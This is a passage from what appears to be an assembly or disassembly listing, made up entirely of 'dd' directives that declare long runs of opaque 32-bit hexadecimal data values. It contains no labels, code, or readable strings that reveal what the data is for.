2E4092Eh, 0EB511DB2h, 5CC7B78Bh, 155E263h, 4F021D22h dd 96386E5Fh, 0F34BC8D3h, 9B3E41C9h, 1800DC35h, 0D129D9CDh dd 704A2752h, 0EADC7643h, 15C8C7DBh, 84A03BC2h, 5DBCFAA8h dd 0B242B74Fh, 1251FC6Dh, 0AC0ABD0Bh, 7138C16h, 0C8EE5280h dd 6568924h, 8B51B026h, 31520B8Eh, 38DEBD95h, 792D75ABh dd 617500BEh, 3B13E632h, 0D4499600h, 564D06CFh, 955850BCh dd 0FC5B25FEh, 48353BE2h, 0F5335C86h, 1BD20DCh, 0DA1F965Fh dd 0D9A5C9E5h, 5AFC4007h, 965E5B58h, 5E1BC2C2h, 0AD9DEF32h dd 683CD472h, 9A32001Eh, 2EF17BFh, 983926Fh, 65EC7AE1h dd 144AC8D8h, 6BB511B8h, 89DD0476h, 52E5FD8Dh, 85802F78h dd 0E39AF4AAh, 54839C00h, 15D734FFh, 0AB200C7h, 11446338h dd 0DA4A8B6Ch, 9A3DE7E5h, 0E902D8B8h, 0DE525D54h, 2573F60Eh dd 2500BDE4h, 41E1F78h, 5372B4Bh, 176883D0h, 0D59C09B3h dd 14D7D362h, 61868D6Ah, 0CCD2BB9Ch, 61127DF9h, 49CCF88Ah dd 3BCB2580h, 24B3BDFFh, 282EE00Ch, 0B4C2D0A1h, 0F55DBC71h dd 372F0C6Dh, 0D147040Dh, 15538140h, 0C4E9032Ah, 0D349DEAFh dd 0EE8A52BBh, 0F92FA6C9h, 16C9AEE0h, 0E7464D30h, 8531E11Ch dd 0D8EF349Ah, 0A51BDC9h, 4F04D562h, 0AB6808h, 3E9C1084h dd 3C4EEF56h, 98B664E0h, 990EA52Ch, 7F666F9Eh, 520119F7h dd 2D264BBh, 36A82E74h, 52DD89CEh, 1DDDFF34h, 4C7344ADh dd 51B5ADh, 0CA39EAE3h, 385A37A3h, 0F9308387h, 5BDCB796h dd 54062050h, 0B055D6Fh dd 912AC925h, 8F0030A2h, 9257D983h, 2D0C4DE7h, 481523FEh dd 0A45B4CFBh, 97D39B4Ah, 744C90ABh, 0E52DB83Ah, 8E470892h dd 2C59C44Eh, 0C8FEDBBFh, 9256C317h, 1E4065A2h, 0B9971AC9h dd 54F20154h, 77C0A51Bh, 0CAAAF2B5h, 0F6AD54h, 0FD9E38DFh dd 811D66E2h, 725FCF02h, 5DF52927h, 0C5A17A51h, 918522Fh dd 9CBF54C3h, 44AD3B79h, 8973BF5Fh, 1506E782h, 83535DE0h dd 9E1D0FF8h, 22C225F7h, 2FDC4D56h, 0F7860B8h, 61F9AA88h dd 4C4149B4h, 0B82FB29Dh, 17BB9312h, 0B8641633h, 0FC3DD0D0h dd 0B5FE90B1h, 785C8CB2h, 73BCF544h, 0B31CB75Eh, 3509804Dh dd 8DDE9FF5h, 4165C24Ch, 1D2D601Fh, 9BFECFD3h, 6DBFC01Dh dd 5C8D8641h, 8013ACEEh, 864A0CEh, 0A1FB4082h, 0C036BC1Ah dd 0FF240520h, 0FD4438h, 89993459h, 397867FEh, 7792CD31h dd 0AA9CEC5Bh, 0A9FD0F00h, 0CFE07DEEh, 2E1FA3A1h, 0BD9382EDh dd 7FFF4B6Dh, 934C7DAAh, 0C0ED3E09h, 0BC609D96h, 723A76BFh dd 37BDF9D3h, 0B4CB0103h, 0F34FE862h, 54255BE9h, 0C5A7EB8Eh dd 0E598B6A0h, 2316839Eh, 0BFC020E9h, 105FAE40h, 0EDEB8102h dd 5E6672D0h, 0A75351AEh, 0DEAF5C52h, 0FDE9A300h, 33A4B813h dd 4B3A483Dh, 0C2913134h, 0EC55829Ch, 0BD919FADh, 0CCFFFEF1h dd 5BE019Ah, 4EAC0232h, 7EE82F68h, 0B29B64A4h, 5DE84A43h dd 855B3C00h, 0B9F54BFEh, 6C091AEEh, 790A221Fh, 9D8984B8h dd 0FD0BAA21h, 8E6FD160h, 0D3E45951h, 8110EDDDh, 1BA9BB66h dd 0C8E0DA6Bh, 572FC019h, 0F0E9A18h, 2B9D0126h, 0ACCC771Bh dd 0B9B52909h, 71337420h, 9FD75F66h, 0CC950039h, 0A18EFE7Eh dd 77B95BEh, 9C181659h, 32B80875h, 1628E522h, 0BC1291BDh dd 99FE93E3h, 9D03402Ah, 549D3055h, 35FFD263h, 22F627F8h dd 0E141D02h, 5224D829h, 0C131FB2Ah, 2F34E995h, 0DA6FD816h dd 7FA0E500h, 6156E8D3h, 0D0F74D27h, 0FF2E614Bh, 3AB509C1h dd 6BAB6E53h, 271723F9h, 0F1A59AFCh, 60ED00E9h, 1499094Ch dd 9C156A05h, 0A5FB8B4Dh, 0B9B02B2Dh, 40A89690h, 36A7C4B7h dd 6440BA01h, 63065D60h, 9653EBDCh, 0C3CF38E6h, 909A94C8h dd 0E872D2F3h, 9FC0B366h, 0ADEE25Ch, 4E766BD5h, 976920E0h dd 0FFBA925h, 0E58B2CA8h, 80DB37FDh, 5F16F73Bh, 0CC04F484h dd 7DB3B80Fh, 0BD2531E9h, 0D1B0BBFAh, 824BCB0Ah, 8625A850h dd 95885777h, 1D15FFD4h, 95290450h, 2DD11649h, 2A96CB8Ah dd 8D2FAC1h, 0C1CC5504h, 0DCB54DDh, 3455508h, 0BD1EE58h dd 0A1F12AA9h, 626A640Bh, 253D5082h, 0D669F45Eh, 0E22FD496h dd 9FF1E8h, 703D816Bh, 4E1CC1D2h, 234BA7EBh, 8A10F74Ch dd 149D5A7Ah, 8115FF05h, 12DF5DCh, 8541026Ah, 0AE050511h dd 12077C2h, 6F535090h, 1A15E720h, 28B309EBh, 447D5F5Bh dd 774903B5h, 8F2C32F7h, 0DB15E3B0h, 3C00D00h, 5B394F2Bh dd 0BD310B90h, 375F2071h, 0E905A4D2h, 0AE84A9D3h, 0E3BC7AE9h dd 41136E1h, 0D7691697h, 894CBF14h, 893093ADh, 7CA0ACh dd 9B372C1Ah, 96711B1Fh, 0D93A7716h, 4A312EAh, 32F156Dh dd 0EF8B6050h, 40AC5245h, 67A25580h, 0F707A4ECh, 0F2DD9D39h dd 0EAC50401h, 0D62FA27Fh, 8B123CBDh, 489F6D8h, 17F99509h dd 0F506A6FAh, 0DA289FF6h, 21012EFBh, 9B9AE104h, 0C5BD6A10h dd 0C741BC01h, 0C0E76F3Eh, 8B973723h, 0A54FF7BFh, 2CBFA14Fh dd 9A41862Ah, 0C324E99Dh, 1C70780h, 0B503FF6Ah, 2ED5F9E1h dd 61090AF9h, 0D0EF5312h, 20023E5Eh, 5C529BCCh, 0C49D5EF9h dd 9AF25659h, 0E55FBD00h, 5063E46Fh, 0E62BCC00h, 302468FAh dd 0DB4133C8h, 78431BAh, 6005B05Bh, 0E9F7AFE0h, 61B6023Ah dd 0B84070E6h, 0E4802CC1h, 5D3AC471h, 36E2AA2Fh, 44411828h dd 6079512h, 117E096Bh, 9857AF50h, 90F30ECCh, 0C105D504h dd 5FECE0ECh, 72247A95h, 251947B5h, 9794E48Bh, 5509A529h dd 0A53DA571h, 1014D2F8h, 4B922EBFh, 0CB304CF0h, 6918D139h dd 130EDB93h, 20DC9DDEh, 5F0641EDh, 0F683E7B4h, 0B0E95BFAh dd 75332D51h, 50796092h, 47554C0Eh, 2B75C529h, 0EA9675AFh dd 2FE638CDh, 7B52BEF6h, 8B27A4E4h, 8866465Ch, 7EE89476h dd 0DF284C01h, 6EAC6E74h, 70547920h, 87670023h, 7280E7EFh dd 5B5A1AD6h, 5111A9F7h, 7945C90Fh, 0F22892E0h, 25E496AAh dd 5775A195h, 5CCD883Bh, 9BF422EAh, 85110F02h, 0FC5FA78Ch dd 48494064h, 347C8F61h, 0C1B6264Bh, 5B128C21h, 0B610C8F6h dd 16484890h, 0DB622AEDh, 3FEC55DBh, 0B9FB8B0Bh, 66DFC28Dh dd 444A012Ah, 2AEA3A5Eh, 0A1A26BB4h, 8415C282h, 0FE279E5Eh dd 0BF0E6C4Ah, 0DE2BF92Fh, 5EBDDE06h, 3448860Dh, 0D812B63Eh dd 3DB9D22Bh, 9AE63EB9h, 0CF80C704h, 0FC89BDCBh, 34178C1Ah dd 50AADB32h, 0B25BCE0Bh, 0D45B80E9h, 1259C4A1h, 0B845A3A0h dd 0C2F9B51Eh, 7909D1B8h, 4384378h, 0FF53C544h, 1767CD9h dd 5C8364E0h, 0BD5A1862h, 69030707h, 5C1E627Fh, 7F0055B4h dd 61455F3h, 0AA474A74h, 6BAF6924h, 18234Ch, 0EC2813ADh dd 223BBF17h, 0D57E279Ch, 1545C117h, 0BE153727h, 3C498FCCh dd 9FFD2F6Eh, 0D4AD38B7h, 6060A419h, 0D8A8DDE3h, 55A9AF2Dh dd 26EFD898h, 3D2540E2h, 4963D35Bh, 0D2597A18h, 196704Ch dd 8723D017h, 0B82EE65Bh, 0F269FD74h, 0FAD52683h, 0C1521EB0h dd 57DACE25h, 7BD1781Ah, 0CE2B3400h, 25D06D1Ch, 7A5EE459h dd 7911B589h, 4977C4D2h, 4FC779FCh, 0B11DF7F7h, 282F971Fh dd 578824C1h, 6E605B5Fh, 0D4B2344Eh, 9AAB6CC4h, 0D3AD916Fh dd 29C1CAE2h, 39122595h, 69D278F5h, 1B4C9FE1h, 0F7BF00B5h dd 295A966Ah, 5497618Dh, 52ACC4F9h, 940B3FA2h, 58806122h dd 2B12D040h, 80EC3C39h, 0A9E1B846h, 4CDD571Ah, 8A7676B4h dd 0FF921F20h, 3A00E0E2h, 4777191Ch, 67AF16h, 0D0BFF893h dd 0A76ABEDBh, 7B955B71h, 191C5968h, 1929DF8h, 86857365h dd 7E890309h, 0F812B6A9h, 8EC9AF60h, 415D3270h, 71202F1Ah dd 31CF5E4h, 0E7164FE2h, 0E1F174F1h, 5F8CCC79h, 0B1D786A2h dd 416FDE0Ah, 0A5BD297Ch, 7AFD6A14h, 66096FECh, 5C86D4BBh dd 6352596Eh, 61DB4025h, 71413E0Fh, 0C2CFC0DCh, 0EDB709Ch dd 6B28681Eh, 0C4310FA5h, 2E07ABE4h, 0D9F1BB60h, 79504CC2h dd 1788017Eh, 1FB19B41h, 2A4A8171h, 768E3F94h, 0F8FE6F30h dd 3699BFB5h, 985E40C3h, 0F8039AD3h, 10747B59h, 2554B776h dd 1238D55Fh, 0DD3E6DA3h, 4C960042h, 3C8997E7h, 5BC812CAh dd 4A21E758h, 8D01256Ah, 0A7E6CE55h, 0D2206EB8h, 9F55401h dd 7D3EE50Ch, 9CA45BD1h, 2E52D101h, 18AA0940h, 0C1E9130Bh dd 707ABB01h, 0F4175300h, 0A457CBF1h, 6AAA305Ah, 0CC984EF8h dd 1702021Fh, 0D3AA5AEDh, 0F8137355h, 1100AA50h, 0D4B05E9Ah dd 0F418B6E4h, 88CA01BBh, 565B556Fh, 0B8C82B31h, 6F0B9D5Fh dd 80283DFFh, 26919CD9h, 6F16BB3Bh, 0DBF8CC9Ah, 3176CD4Bh dd 1130606Ah, 0EBDA5697h, 2B185561h, 0F91043A6h, 0C0963023h dd 7742B25Eh, 0ACFB9D2Fh, 97AAFC70h, 956109FEh, 0A83E052Dh dd 119AA5B3h, 6839E5C0h, 6B25D8D6h, 66B0D53Bh, 441662BFh dd 44AE0B92h, 12DC8A7Fh, 294E00BAh, 663B74DBh, 0FC44BF13h dd 80502AAFh, 0BE10B64Ch, 785B1331h, 5AB0E845h, 968BF3ACh dd 0F100CFD9h, 0A40B5632h, 0FD8A2FE4h, 0FEB9FF5Ch, 0A92DCD25h dd 5E1DEAD4h, 1646D608h dd 17BC021Fh, 0E082F661h, 4E90B05Ah, 6324FADBh, 0FAB41FBCh dd 0CFBF5913h, 67A24EB4h, 0DCD92600h, 0E4477538h, 5A6FFB00h dd 0C33E53B4h, 81243817h, 0E8B93D12h, 4412932Eh, 0AA4E7EBDh dd 9CB44A6Bh, 0CCF67027h, 0CB7CFF00h, 30D942F0h, 0C799560h dd 0AF2EB880h, 17801F09h, 30618FF1h, 0F255D950h, 77C90812h dd 405B5BC2h, 97D3E972h, 5A25F394h, 0F478F404h, 0BD232F09h dd 811AA0A1h, 2433B8D7h, 59015E44h, 4D6AA525h, 12CEE0E7h dd 0F33959C9h, 0BE89810Fh, 0B5316008h, 7F8F29C9h, 7F241AD2h dd 846EAE56h, 38021723h, 0D7B5D142h, 0CDD5D49Ah, 56536B3Dh dd 83D55900h, 2D9AB5Fh, 8D09086Fh, 5B75321Dh, 0F2B8720Eh dd 3AE5072Ch, 18AD7D74h, 70F9CAA8h, 7EFD34C8h, 0CB13BD6Eh dd 5A68FD03h, 8025F9E0h, 0D52DBD0Bh, 79627B2Fh, 1ED181Bh dd 0F2560B58h, 3A50F18Bh, 0EB804A30h, 57AAAA3Ah, 6F80883Dh dd 10F976DCh, 3DFD0B3Bh, 2464B894h, 73EDA601h, 0E2CC798Dh dd 72088A3Bh, 0DBA76C4Fh, 3591E48h, 0E662D94Bh, 92759520h dd 25729ECDh, 0CF5D61E2h, 0F4FE67BEh, 77B3647Fh, 0E4C6977Ch dd 4F6B0C44h, 0D2FAF268h, 207A6BF1h, 0D7ADAACFh, 2C4DD40Bh dd 780A0990h, 9D3D923Fh, 2CFEF954h, 2584A743h, 202985E9h dd 799D2CC1h, 0C2524BD8h, 4ACB803Ah, 4AAAEF8h, 0CA1999E4h dd 0B7AF5EC5h, 0DCEE0135h, 2BD66547h, 25F65DFCh, 0D5ED524Eh dd 0EF641864h, 8C4A2DC3h, 47AE3CC5h, 61BB9680h, 2D45DB27h dd 13374C13h, 88FE664Dh, 0B1949696h, 215E0DCh, 0C96785FAh dd 43E09744h, 339E0209h, 0D8A631C3h, 2BBE2763h, 3FB2AB9Eh dd 5ECFF25Bh, 7DAD70B9h, 854880F8h, 0FF8E6B8Dh, 0CB1CA073h dd 0F97901DDh, 0DC052BC1h, 0AF48ED2Ah, 0B1ADC147h, 0D0EDC5D9h dd 0B5B7D6D0h, 37513956h, 49E62FB1h, 60500001h, 660404B0h dd 0BB7CD8BAh, 576F2D53h, 55DA7100h, 0CD665275h, 314EE716h dd 87771BAh, 0E0342FB0h, 0A1D629BCh, 0B0624A1Bh, 4F19763Ch dd 2B9FE039h, 79D7D395h, 0E81C1817h, 0A61F64EBh, 0A2E6BCFFh dd 0D223271Bh, 3A5D1C05h, 80C67F85h, 0F95EC65Eh, 9BF32C92h dd 65F780C0h, 909D0151h, 4BE95BE0h, 0BA78C495h, 0BF3A2AA2h dd 1847F82h, 0B85EC18Bh, 0F87200DCh, 9BF2C6C4h, 0D395FC08h dd 191C5988h, 0C4A3EC6Fh, 9AEE038h, 3D57D8F2h, 79DD8786h dd 97CBE0FCh, 594A150Fh, 791B0982h, 0DA68B09Fh, 0A0CEB81h dd 0D04AC2EEh, 0E5212D6Dh, 5C811337h, 2F18F2C5h, 138AC130h dd 24870F3Dh, 438CBA15h, 0F0615060h, 0BD064E01h, 8C1AA89Ch dd 89D0FD01h, 97871FB7h, 2701E33Bh, 12DD50h, 78FCAA26h dd 0AD7BE145h, 9D0BC09h, 0FEA05E0Ah, 12B16902h, 1C85C42Eh dd 8342C817h, 76B5BF30h, 257A0C94h, 8C74E347h, 0EC1B12F4h dd 7AC8EEF8h, 7BCD09B2h, 2281E320h, 2F61E422h, 0BD33BD30h dd 0BC94978Dh, 27B8F0B5h, 37D1FFh, 2C02B200h, 1CFBCF7Fh dd 6DE65F68h, 0C5A52EF9h, 4A241188h, 6AC09FA8h, 16CF8002h dd 0D549F7B4h, 284AB0EAh, 0B280A26Ch, 61891335h, 7741382Fh dd 23392141h, 8D4ECBB8h, 8AABC985h, 0BF50021Dh, 8999DF3Dh dd 8EB0B758h, 0C74069A1h, 76FCDB5Eh, 95BD030Bh, 9614D708h dd 13F3097h, 0BD7DB88Dh, 17795B5Bh, 3E0B4236h, 1DD782Bh dd 0D6A7F712h, 5C402220h, 23249854h, 212113D2h, 852565D1h dd 1E49B579h, 137D7AFEh, 9FECAA3h, 0D7BBDF1h, 0BB025F11h dd 2279ACC6h, 0A8DAF9DDh, 0F4194AA5h, 704AE6AFh, 18D55D71h dd 6C71E401h, 0B6E280EAh, 0FCB7B45Eh, 0DC3100B9h, 88306410h dd 32E6BC26h, 0ED2C74Bh, 1109111Dh, 0AAF46E69h, 2F470236h dd 15BA511h, 97AE44DDh, 816A080Eh, 0C2F92538h, 387285ADh dd 73AC6380h, 0BA251CA2h, 2E5CA85Dh, 25EE8B60h, 0B9DC277Dh dd 0CEC75E69h, 0D1691728h, 662C0006h, 0C3D2537h, 0A1672D00h dd 0D0210A55h, 74F0284Dh, 16EF16EEh, 484FE9CFh, 61493509h dd 116ED1EAh, 0C30091Ah, 0DA052C5Dh, 0BE9614A9h, 51B1858Fh dd 9F8D7807h, 0B4E490Eh, 7BE57844h, 0F2BF04C0h, 0AE50AF1Eh dd 0A97EDCA3h, 0B82EB1D3h, 0DB1CC965h, 50CB8908h, 9456CD00h dd 0A0009A9Bh, 0CF61081Ah, 0EC8F054Dh, 2D4864E9h, 8226BDFCh dd 391BA9BDh, 0FD8A6E32h, 0D7703127h, 272C1497h, 63908529h dd 0E81412DFh, 40960D19h, 0D578B377h, 1E7DBD12h, 43A1DBBCh dd 9DB92AA0h, 490067BCh, 52F3A68Bh, 0DBFB984h, 75A88921h dd 0C9E10150h, 48F66A28h, 0BD459CF5h, 0B79B4F00h, 0D8941D11h dd 44B913FBh, 25D6210Fh, 0A2EE0432h, 0EAB312AFh, 412D4FF1h dd 0D016BCB8h, 0C06FFCDEh, 0AD89D02h, 0B5D6A2D6h, 3D20F920h dd 0B3C0E62Bh, 0FB7D7869h, 0E8012673h, 1B3EDB50h, 34F18146h dd 977EE4CCh, 549D1744h, 64CDF225h, 0B12EBB60h, 0FB5C1394h dd 1E69E2A7h, 0FF003326h, 409266E1h, 0F93B06CCh, 0F6B685E3h dd 57279BDh, 0AB1D819Dh, 9DB744D8h, 102DB17Bh, 7EF10Ah dd 31990C49h, 0CA5830BFh, 295F2F02h, 5E14CD8Dh, 0B2DDEB10h dd 255971BFh, 0E0629DD5h, 0E2382373h, 76C61366h, 0DECAD276h dd 0F68F8022h, 500ABC88h, 4A8D9E82h, 0E280BC34h, 4BBD7DB9h dd 0F4A6F280h, 9ECE97F6h, 9E6F2547h, 60B31A41h, 6688206Bh dd 800E5AEh, 94975B2h, 25F99CFCh, 24FF8B5Eh, 0DAEB6184h dd 0C219C8B3h, 56578F26h, 0BDFC28E9h, 3AA84AC5h, 0BD017920h dd 7C485DD0h, 0E79B5F55h, 38562182h, 82514C5Eh, 15D90414h dd 1839BA1Dh, 668FB52Bh, 7898F084h, 0BB950218h, 490AF71h dd 2351585Eh, 3C3DFFEEh, 0C4AED702h, 53C175ACh, 51600107h dd 975B6034h, 67E5E8Bh, 31041908h, 2ED58DB6h, 6A9740B9h dd 0D1017A37h, 2AD8BDA7h, 0F370399Ah, 0D1DB4B69h, 7B015850h dd 0A302E07Ah, 63CD2A3Dh, 7FD8FC0h, 0C4B4FC95h, 1C4EE0Bh dd 0CFA739A8h, 0AA3D52B7h, 0B692EDDAh, 8B7013F1h, 0EB6595BBh dd 249AFD03h, 349BB550h, 97F12DFh, 0EC78EA27h, 0B7DB2F62h dd 0FF6F7FF8h, 57FE2A42h, 0FA8049D2h, 5B8829BDh, 337C0468h dd 0AAB3F439h, 483F7E0h, 8B0BE5D0h, 6E8AEBFEh, 8EADABA0h dd 2178D662h, 157C0926h, 2052D705h, 9FFFD9C5h, 0B0C58454h dd 6224ADAEh, 1019D68h, 2B0206E9h, 0F4A038A7h, 2A5B6629h dd 0FCAC4DC4h, 9C781C0h, 5A4F7AA7h, 0ADBF24FBh, 0B0DE57E6h dd 20776120h, 4A9E8B1Fh, 64D76D25h, 12EB6414h, 0AC44BDAEh dd 9B788C1Ch, 3B41A81Fh, 7AFA4804h, 6140BFAh, 98C0A1EDh dd 5BFB390h, 32E88FE5h, 1482C0FCh, 4E4B055Bh, 431918DCh dd 2CA04B11h, 503A27EBh, 423F8BF5h, 0D8B7579Bh, 0FEB3B809h dd 0FEA513C8h, 5180B79Eh, 85089EDDh, 1216219Ch, 81E472E8h dd 9D5DE38Ch, 74E752BEh, 61B3883Bh, 8D3E425h, 2B5C3EBAh dd 84E65027h, 4DE890D3h, 0EEBD6158h, 669F960h, 0EC5D569Fh dd 1BD095BAh, 0D2D000B4h, 0B75061CFh, 1F469E09h, 0F4EA0060h dd 66376FE9h, 2392B801h, 3DC78061h, 0B259E62Bh, 29C03218h dd 91C74CB6h, 121911BDh, 0F87587h, 20AB615Eh, 7FE2ECFFh dd 534FE517h, 9D031E60h, 5B1940ADh, 0B5296104h, 0E7BA1C6Dh dd 5BA9E452h, 33EE3B82h, 97057A7Fh, 6E3124C1h, 1CE2858Ah dd 4BA42930h, 0D53EECD2h, 0F3811D20h, 20C42702h, 97B644E9h dd 0FBD2571Dh, 0B08A53D1h, 0B2E14262h, 5D600211h, 0C0DB2D04h dd 61C9BFCFh, 2C3E9497h dd 0F60E0435h, 99A8A409h, 0ADA20265h, 5EF39E33h, 0ECDBFD03h dd 67AA01D6h, 95092964h, 0A6A77AD5h, 9ECA6A5h, 7BCDE575h dd 4E6DA527h, 96657D4Bh, 5EBD2909h, 0C7E2A5FDh, 5D698256h dd 0ACF0FD93h, 9D5FC425h, 795B1009h, 3077AD1Ch, 4E5BE7AEh dd 217BA567h, 0BD8479F2h, 128EF92Ah, 12AF445Bh, 0F8FBED9Eh dd 27FEB838h, 0CD74CE10h, 1A46D6h, 0B2C684A1h, 17F6E873h dd 0BBFD8529h, 265DD4D1h, 0C1D5772Fh, 2B01A9BDh, 0F802E4A7h dd 13C59D09h, 4E54E57h, 706539BFh, 80CAB937h, 90BBFBB7h dd 2119251Ch, 3757B5C2h, 5BDB002Fh, 26BE1EAh, 0F12DB5E4h dd 43F9DAh, 1D5E76Ah, 2BE57D35h, 345520AFh, 0BE17C122h dd 67A19FF0h, 0AB856A93h, 1F51458Ch, 9C4EEBBh, 0F2715F60h dd 0D7F7808Bh, 0FBB8F484h, 986DA470h, 0A80C02A2h, 6C50C3D1h dd 2DE9735Dh, 5B93B756h, 0C20A9BFFh, 563EEBD7h, 1B46D69Dh dd 6AD9AC00h, 299E0CF8h, 3D0B6EE9h, 0AFB0FB23h, 5B5D4BC2h dd 2BDBD00Dh, 50B62725h, 372104CBh, 0AF74E780h, 0FD0938h dd 0AF332E2Dh, 13B745Ah, 5906230Eh, 7B24A402h, 0EED2BEB8h dd 8BC20902h, 0BA715DD0h, 130E5447h, 23B6FFAh, 0F4D026Dh dd 0DA5BFD8Bh, 17E513ADh, 0FC96FF82h, 0C450CB3Bh, 0CF8100D5h dd 0D57C516Dh, 8300CCC8h, 0DB524884h, 27A8ABB0h, 4758C006h dd 0E2EBDE56h, 64F5321Dh, 995FCC9h, 0FC707F07h, 8113C373h dd 96C37C60h, 4858BD3Dh, 0A4FF334Ch, 304D0A81h, 0AB1FBC2Ah dd 1E7E2B12h, 3835C961h, 6C44AC71h, 0D214E852h, 2AED320Bh dd 5FC9A84Ch, 9A95EBC4h, 40C07CBEh, 0B5D9C197h, 5F0387E8h dd 5B1FDBCFh, 122CB95Eh, 1C1E74E0h, 25C6F473h, 1DE9C74h dd 9B8F2EB1h, 68860FF7h, 4989882Bh, 0AF15AB24h, 0FE3D986Dh dd 0F4B51EA8h, 32DDA88Bh, 87FF2DF5h, 512D195Eh, 0C12FBB90h dd 90002237h, 0F54234ACh, 48353F2Ah, 644C5A5h, 0A9EE5D01h dd 0FDCF11F9h, 2A717C8Eh, 2879F689h, 919D2382h, 98395D1Eh dd 2A189031h, 0BEBB5001h, 2812C672h, 11E64AFEh, 7C2514E0h dd 186FA902h, 77278A02h, 91C2966h, 76259985h, 7F04FC96h dd 2EB586B9h, 89269AD2h, 0ACD38E28h, 4BAD18E3h, 0AA7B421Dh dd 0D56FE531h, 790EC40h, 0E52709B0h, 3078F1A7h, 7937B7h dd 329C64ECh, 604A8DD3h, 822380A0h, 61D6A5C0h, 81B1D1B7h dd 0EAFA5806h, 850F116Ah, 0DB5A5C26h, 309A819Ah, 0C5599D8Bh dd 0ED1AE02Eh, 0CA50441h, 9A61C626h, 0A4EDDF4Ah, 2D8C15ACh dd 0C3D314D1h, 35181B59h, 0B1EE9500h, 61C56554h, 89D105FFh dd 0BA29F18Dh, 9D4DA138h, 6AF87A98h, 8EA6025Eh, 0B0A16FE3h dd 80A87C50h, 86D8590Ch, 0FB8000A6h, 494FBBDBh, 0F5B7CA3h dd 569D8BECh, 0BEEC2910h, 2533A0B4h, 3DE702E9h, 4B31B408h dd 1B095CB5h, 6389FD03h, 247965D5h, 0A41CD647h, 0B7C0ACE0h dd 0D7BB03D0h, 0F8894EA2h, 76508B90h, 76CD4B2Ah, 0AD9490C0h dd 23452F91h, 0E90050C4h, 2903DE61h, 9A33ABh, 64B79848h dd 0A9E4ADB9h, 0F028470Bh, 412975D9h, 49016684h, 3F807BF9h dd 75028A11h, 0BF66DA04h, 8CBDE0D0h, 598D3181h, 0D94C0A2Ch dd 0B8F4EB07h, 0DEF3C96Ah, 0D0FC70h, 5E03859Eh, 997FA6BFh dd 0B322E580h, 2B60D8EEh, 757AAA04h, 0F6A1E781h, 0F786632Eh dd 0EAF53125h, 0FA980176h, 7F7171E4h, 0E3584A2Eh, 42F44F95h dd 2FC5112h, 709850Fh, 249525Eh, 5E9E8AB9h, 0ED124D3Eh dd 607A6020h, 0F21080E3h, 35C781A0h, 369C1D32h, 0DBD7CF61h dd 0AE55E924h, 5D297E92h, 0B971F64h, 1338D52Dh, 0C84B2BF9h dd 0FCC05CFCh, 80C6F273h, 0CCCEDB03h, 1C5B43C9h, 0D361CBD8h dd 0FB64EED1h, 22FB882h, 5FE66FE9h, 509AC0B5h, 8DB52689h dd 0C5F964C9h, 74F3FBF7h, 12740150h, 5B1F36A2h, 0FA0B2439h dd 57AEC8BFh, 54797FBAh, 1C75E4B1h, 6F2E8391h, 7913693Ah dd 0E6B3893Bh, 19113779h, 892B984Bh, 34019D10h, 63407458h dd 1EB097F5h, 74B7AF87h, 0EF0BDE48h, 44A8528Fh, 0C56B01C4h dd 90E3EE57h, 60F37E54h, 8E45B27h, 2B5A909Dh, 0F1290039h dd 1458D0E6h, 0D795E2DBh, 5793743Fh, 43AFAE16h, 0FB5B967h dd 4CE6FB84h, 34F08DE0h, 7AFDE60Bh, 0ABECF7EEh, 97133520h dd 0DD78520Ch, 5FDE1F41h, 2B1260E6h, 0B5C057C0h, 0B75BF48Dh dd 14440A4Dh, 555CFD62h, 0C692510h, 0CDA51C54h, 0A1D3AF19h dd 4FD1850h, 9195098Ch, 0E8FFBD01h, 9C2D00EBh, 0CA7726A5h dd 0A0A08F31h, 798221D9h, 672020Fh, 51637ACAh, 0A1B0EB94h dd 0FD54BD5Bh, 162DAD62h, 294A59F8h, 15F23AF6h, 0B5D9D630h dd 16D9D6E5h, 1D2C7418h, 0A82E8B59h, 0B17900DCh, 13A9F8CDh dd 0D309ECA4h, 797FD780h, 0FF604532h, 0AD01BC7Bh, 9D5D6186h dd 326A2FD9h, 0A3001923h, 0DD2A6DDEh, 2A049D29h, 0C8DDEB2Eh dd 40FEE204h, 0BBE1FF12h, 0AB258761h, 12D9C518h, 0B095E76Fh dd 62559372h, 2FC18AB4h, 5871F85Ch, 0C018C80Fh, 856C6872h dd 5174569Fh, 0B74DADF5h, 37D4097Eh, 7E29557Eh, 5458D04h dd 0A184090Fh, 37600915h, 0A6BAB9FBh, 0F09720CFh, 1300C2E4h dd 9DDBC597h, 1D353B7h, 26AA5F7Ch, 2F7E824Eh, 496E2E17h dd 0D3804107h, 0FCE134E3h, 88EBD73Bh, 0D33C336Dh, 1B52875Ch dd 12E19C7Ah, 0C82BD88Bh, 60881380h, 262376B4h, 9230A59Dh dd 7CDAAA61h, 3EC11995h, 21120E2Fh, 9C70CA52h, 0D42354B7h dd 28C27F94h, 40C1F602h, 5B603283h, 30AAB917h, 0ACC2F13h dd 64DE25EFh, 0BB661B62h, 590DB82Fh, 48DC253Eh, 17E15825h dd 0E9585AE7h, 26E8ED2Ch, 0C77CC330h, 464A7DA1h, 16BC01E9h dd 0FA02CDE4h, 0FFB7E90Dh, 40765871h, 951D681Ch, 0BBC08C98h dd 137F5AEAh, 0F6FB681h, 0AF92939Bh, 4AD5F5D8h, 4E51B721h dd 5D2BAF09h, 0E9F99D38h, 0B0F7549h, 5773B753h, 50CAC6B3h dd 0BF60E15Ch, 7D318880h, 0AA855A78h, 0C99DDF30h, 0F97B9D1Ah dd 0A0181779h, 5334CB16h, 2DA4B4C8h, 347CACF4h, 0BB0AB0D2h dd 0C0E32CBDh, 0FC061837h, 6DB733B5h, 6016E45Fh, 97C7A697h dd 0FCBBB821h, 0F3D2424h, 0B2CD8E5Bh, 0F2B23645h, 7A041F0Fh dd 6E8D0640h, 530087EBh, 0E418F163h, 208E456Ah, 0D82D503Eh dd 499EFC5Bh, 81396455h, 0F46F1DDDh, 0A54BB54Ah, 5B577AFBh dd 0EC4B4DF9h, 688A4404h, 0C649FB0Bh, 0BFCB800Dh, 925B54FCh dd 4A041F38h, 0E3FB65D9h, 4021570h, 8DD1E365h, 62B7BF85h dd 0AE17BDB0h, 90625BFEh, 0A7157DA6h, 939AF89Eh, 142D7109h dd 59BBE82h, 0DB6116BFh, 0FD7BC92Fh, 5409E1BBh, 71D18FCFh dd 1B746B9Bh, 63107F4Bh, 0B876F568h, 56AFAC4Bh, 6E60FFE1h dd 9D5B49E3h, 46540AD1h, 194F001Dh, 326960F0h, 0CCDA13FEh dd 0AA0C88B5h, 0F8129700h, 65139864h, 0F6CB25EAh, 0F32F5BDEh dd 5BB4D071h, 82379D04h, 3B0010Dh, 62F8822Ch, 1DF3224Ah dd 